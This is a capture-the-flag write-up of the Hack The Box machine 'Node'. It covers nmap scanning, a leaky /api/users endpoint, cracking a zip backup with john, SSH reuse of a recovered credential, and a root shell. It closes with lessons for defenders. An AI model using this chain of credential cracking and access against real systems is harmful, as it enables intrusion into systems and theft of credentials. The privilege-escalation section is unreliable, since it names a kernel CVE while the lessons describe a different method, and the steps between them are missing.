Vulnerability Exploited: Broken Access Control (CWE-284)
System Vulnerable: 10.10.10.58
Vulnerability Explanation: The /users API endpoint was exposed and that allowed us to get a list of credentials without having any access rights. Although access control is being done on other endpoints, the developers must have forgotten to restrict access to this endpoint.
Vulnerability Fix: Proper access control should be applied on all sensitive API endpoints
Privilege Escalation Vulnerability: Linux Kernel Outdated - Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation (CVE-2017-16995). The check_alu_op function in kernel/bpf/verifier.c in the Linux kernel through 4.4 allows local users to cause a denial of service (memory corruption) or possibly have unspecified other impact by leveraging incorrect sign extension.
Vulnerability Fix: Update the Linux Kernel.
Severity: Critical
An initial nmap scan revealed the Hadoop-datanoe Apache Hadoop running on port 3000/tcp.
#Nmap 7.92 scan initiated Sat Jan 15 18:48:10 2022 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.090s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
| hadoop-datanode-info:
|_ Logs: /login
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 15 18:49:31 2022 -- 1 IP address (1 host up) scanned in 80.49 seconds
The MYPLACE website initial page
Check tom account while intercepting the traffic using burpsuite to get the following request.
Change the directory from /api/users/tom to /api/users and resend the request. All the user's credentials are displayed as the following:
Crack the password as sha256 using hashtoolkit.com to get the following credentials
The backup file needs to be decoded and cracked to get its content, to do this follow the next steps:
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
The content of the myplace.backup is a base64 encoded content. To decrypt it use base64 -d command
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# cat myplace.backup | base64 -d | tee decode_backup
The decoded content is a zip file
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# file decode_backup 130 ⨯
decode_backup: Zip archive data, at least v1.0 to extract, compression method=store
To unzip the file a password need to be set:
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# unzip decode_backup
Archive: decode_backup
creating: var/www/myplace/
[decode_backup] var/www/myplace/package-lock.json password:
password incorrect--reenter:
Using a zip2john and john tools, the password can be cracked as the follow:
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# zip2john decode_backup > hash
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# cat hash 130 ⨯
decode_backup:$pkzip$8*1*1*0*0*11*2938*667d3e08d172d9270bb425c02ca2f105d9*1*0*0*17*996a*d4bd45ab562d4796a12866bc4e2ae546a6a9fabe97e4b4*1*0*0*19*5083*0c96ecfd7f8cc56035af8b816e6bf0922bd7495afd966614ae*1*0*0*1f*b16f*2e37184e2578dab4a049e015f58317df7387195ccfe8d669f1b3821a511670*1*0*0*24*a3cc*94c79f7f97175e5748b1bb22d1a56b5223b5edf01ee2be785fd420e72c8fae6812022d30*1*0*8*24*5083*e7ec07642ae7f0b69db8a651f1c46197874ec0be64d6222359f69af22b9d86d231ec04d6*1*0*0*24*9679*a80f8d803715e4e908de602876bab350f4754dd8d7d14af25a8c694d6f537789c97b5818*2*0*11*5*118f1dfc*94cb*67*0*11*3d0f*3a52eb6e504dbe0c28360798fa818875a0*$/pkzip$::decode_backup:var/www/myplace/node_modules/qs/.eslintignore, var/www/myplace/node_modules/express/node_modules/qs/.eslintignore, var/www/myplace/node_modules/string_decoder/.npmignore, var/www/myplace/node_modules/isarray/.npmignore, var/www/myplace/node_modules/ipaddr.js/.npmignore, var/www/myplace/node_modules/cookie-signature/.npmignore, var/www/myplace/node_modules/isarray/.travis.yml, var/www/myplace/node_modules/debug/node.js:decode_backup
Crack the file using john
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
┌──(root💀kali)-[/root/…/htb/linux/node/backup]
└─# john --show hash 1 ⨯
decode_backup:magicword::decode_backup:var/www/myplace/node_modules/qs/.eslintignore, var/www/myplace/node_modules/express/node_modules/qs/.eslintignore, var/www/myplace/node_modules/string_decoder/.npmignore, var/www/myplace/node_modules/isarray/.npmignore, var/www/myplace/node_modules/ipaddr.js/.npmignore, var/www/myplace/node_modules/cookie-signature/.npmignore, var/www/myplace/node_modules/isarray/.travis.yml, var/www/myplace/node_modules/debug/node.js:decode_backup
1 password hash cracked, 0 left
The user mark used to connect on mongodb, using the following credentials: mark:5AYRft73VtFpc84k. Using the some credentials to establish an ssh connection
┌──(root💀kali)-[/root/CTF/htb/linux/node]
└─# ssh mark@10.10.10.58
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
ED25519 key fingerprint is SHA256:l5rO4mtd28sC7Bh8t7rHpUxqmHnGYUDxX1DHmLFrzrk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.58' (ED25519) to the list of known hosts.
mark@10.10.10.58's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
.-.
.-'``(|||)
,`\ \ `-`. 88 88
/ \ '``-. ` 88 88
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888'
`-..-( )
`-`
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ whoami
mark
Privilege Escalation:
Check the Linux kernel version using uname -a command
mark@node:~$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
root@node:/home/tom# cat user.txt && hostname && whoami && ip a
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
node
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:a9:10 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:a910/64 scope link
valid_lft forever preferred_lft forever
root.txt
root@node:/root# cat root.txt && hostname && whoami && ip a
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
node
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:a9:10 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:a910/64 scope link
valid_lft forever preferred_lft forever
Lessons Learned
To gain an initial foothold on the box we exploited three vulnerabilities.
Broken access control. The /users API endpoint was exposed and that allowed us to get a list of credentials without having any access rights. Although access control is being done on other endpoints, the developers must have forgotten to restrict access to this endpoint. Proper access control should be applied on all sensitive API endpoints.
Weak login credentials and insecure hashing implementation. We were able to crack the passwords we found in the users file in a matter of seconds. That was due to two reasons: (1) the users had chosen easy passwords that were easily crackable, and (2) the passwords were not salted and therefore they can be easily looked up in a pre-computed table (rainbow tables) to see if the given password hash matches any of the hashes in the table. Therefore, to avoid this, the application developers should enforce strong password policies on users and use a salt when hashing users’ passwords.
Weak encryption credentials. The backup file we found was zipped and encrypted with a weak password. The administrators should have used a sufficiently long password that is not easily crackable.
Hard coded credentials and password reuse. After cracking the password on the zipped file we found an app.js file that contains hard coded credentials. Although the credentials were for mongodb, a service that was not publicly exposed, the user used the same credentials for his SSH account. This final vulnerability chained with the above listed vulnerabilities allowed us to gain initial access to the box. When possible, developers should not embed credentials in files and security awareness should be given to users on password management best practices.
To escalate privileges we exploited two vulnerability.
Security misconfiguration of app.js. The app.js file was being run as a scheduled task by the ‘tom’ user, although the file was executing code from mongodb using a less privileged user’s credentials (mark). This allowed us to escalate our privileges to ‘tom’. To avoid that, mark should have been the owner of the scheduled task.
Insufficient user input validation in backup binary. The user ‘tom’ was configured to be in the admin group and therefore had execute rights on the backup binary. However, this binary file had the suid bit set and was owned by root. Since command line arguments were not properly validated, we were able to exploit a command injection to get root level access on the system. This could have been avoided if user input was properly validated — whitelisting instead of blacklisting, use of safe functions, etc.